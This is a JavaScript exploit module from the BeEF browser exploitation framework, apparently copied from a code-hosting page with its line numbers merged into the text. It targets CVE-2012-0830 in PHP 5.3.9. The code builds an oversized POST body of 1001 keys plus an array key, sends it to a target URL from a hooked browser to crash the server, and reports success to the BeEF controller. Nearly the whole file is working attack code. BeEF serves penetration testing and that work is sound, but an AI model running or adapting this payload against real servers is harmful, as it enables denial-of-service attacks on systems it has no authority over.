Path: blob/master/modules/exploits/php-5.3.9-dos/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78// Simple proof of concept for PHP 5.3.9 DoS bug (CVE-2012-0830)9// PoC written by Paul Westin10// PoC ported to BeEF by bcoles11// Bug discovered by Stefan Esser (@i0n1c)12// For more information see http://thexploit.com/sec/critical-php-remote-vulnerability-introduced-in-fix-for-php-hashtable-collision-dos/1314// Generate 1000 normal keys and one array15function createEvilObj () {16var evil_obj = {};17for (var i = 0; i < 1001; i++) {18evil_obj[i] = 1;19}20evil_obj['kill[]'] = 'kill';21return evil_obj;22}2324// Serialize Javascript object into POST data25function serializeObj (obj) {26var str = [];27for(var p in obj) {28str.push(p + "=" + obj[p]);29}30return str.join("&");31}3233// Run attack34function php_dos (target_url) {35var bad = serializeObj(createEvilObj());36var xhr = new XMLHttpRequest();37xhr.open("POST", target_url, true);38xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');39xhr.setRequestHeader('Content-Length', bad.length);40xhr.send(bad);41}4243try {44php_dos("<%= @url %>");45beef.net.send('<%= @command_url %>', <%= @command_id %>, "result=DoS request sent");46} catch (e) {47beef.net.send('<%= @command_url %>', <%= @command_id %>, "fail=request failed with error: "+e.toString());48}4950});51525354